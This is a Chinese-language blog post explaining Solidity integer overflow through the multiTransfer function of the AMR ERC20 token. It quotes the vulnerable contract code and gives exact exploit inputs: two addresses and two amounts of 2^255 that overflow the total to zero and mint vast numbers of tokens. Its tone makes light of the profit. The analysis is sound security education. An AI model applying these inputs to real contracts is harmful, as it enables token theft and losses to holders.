颠覆互联网的区块链来了,黑客也随之降临。
利益之下,黑客肆掠。

研究了一些区块链安全,有几个挺有意思的漏洞。

基础

Solidity 是一门面向合约的、为实现智能合约而创建的高级编程语言。这门语言受到了 C++,Python 和 Javascript 语言的影响,设计的目的是能在以太坊虚拟机(EVM)上运行。

官方文档

Overflow

AMR智能合约基于以太坊ERC20协议,合约地址 https://etherscan.io/token/0x96c833e43488c986676e9f6b3b8781812629bbb5

什么是溢出?

在计算机中,整数分为无符号整数以及有符号整数两种。其中有符号整数会在最高位用0表示正数,用1表示负数,而无符号整数则没有这种限制。另外,我们常见的整数类型有8位(单字节字符、布尔类型)、16位(短整型)、32位(长整型)等。关于整数溢出,其实它与其它类型的溢出一样,都是将数据放入了比它本身小的存储空间中,从而出现了溢出。
对于数据类型的定义
无符号的16位整数可以表示0~2^16-1,也就是0~65535这么多的数值。同理,32位无符号整数可以表示的范围是0~2^32-1,也就是0~4294967295这么多的数值

Solidity定义

在AMR智能合约中,转账数值采用uint256。也就是2^256最大。

1
2
In [4]: pow(2,256)
Out[4]: 115792089237316195423570985008687907853269984665640564039457584007913129639936L

当超过这个数值时就会溢出导致归零重新增长。

AMR转账溢出

在ARM合约中,详细缺陷代码片段如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol.
*
* Mechanics:
* Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays
* must have the same size, and must have a greater-than-zero length. Max array size is 127.
*
* IMPORTANT: ANTIPATTERN
* This function performs a loop over arrays. Unless executed in a controlled environment,
* it has the potential of failing due to gas running out. This is not dangerous, yet care
* must be taken to prevent quality being affected.
*
* @param destinations An array of destinations we would be sending tokens to
* @param tokens An array of tokens, sent to destinations (index is used for destination->token match)
*/
function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){
// Two variables must match in length, and must contain elements
// Plus, a maximum of 127 transfers are supported
assert(destinations.length > 0);
assert(destinations.length < 128);
assert(destinations.length == tokens.length);
// Check total requested balance
uint8 i = 0;
uint totalTokensToTransfer = 0;
for (i = 0; i < destinations.length; i++){
assert(tokens[i] > 0);
totalTokensToTransfer += tokens[i];
}
// Do we have enough tokens in hand?
assert (balances[msg.sender] > totalTokensToTransfer);
// We have enough tokens, execute the transfer
balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);
for (i = 0; i < destinations.length; i++){
// Add the token to the intended destination
balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);
// Call the event...
emit Transfer(msg.sender, destinations[i], tokens[i]);
}
return true;
}

批量转账函数

address[] destinations 地址列表
uint[] tokens 转账数量

在函数开始对地址长度之类的校验,对我们没什么用。

1
2
3
4
for (i = 0; i < destinations.length; i++){
assert(tokens[i] > 0);
totalTokensToTransfer += tokens[i];
}

漏洞代码主要是这里,当传入两个地址时,把数量为最大值溢出的一半,相加正好溢出为0。
在溢出后,totalTokensToTransfer为0。绕过下面的数量验证。

1
assert (balances[msg.sender] > totalTokensToTransfer);

而转账还能进行,得到大量的代币。

talk is cheap

低成本,高收益,是无数资本家的梦想。XD

因为转账需要自己账户余额大于0,所以先充一个币余额。

余额

然后调用漏洞函数,上面提到过参数,需要两个地址和最大值的一半。

地址列表 [“0xdd870fa1b7c4700f2bd7f44238821c26f7392148”,”0x0000000000000000000000000000000000000000”]

数量 [“57896044618658097711785492504343953926634992332820282019728792003956564819968”,”57896044618658097711785492504343953926634992332820282019728792003956564819968”]

加起来正好溢出为0。

转账

查询地址余额

转账

凭空多了57896044618658097711785492504343953926634992332820282019728792003956564819968个币。

由于区块链的不可逆性,币子流向市场几乎不受控制。

一夜暴富了解一下~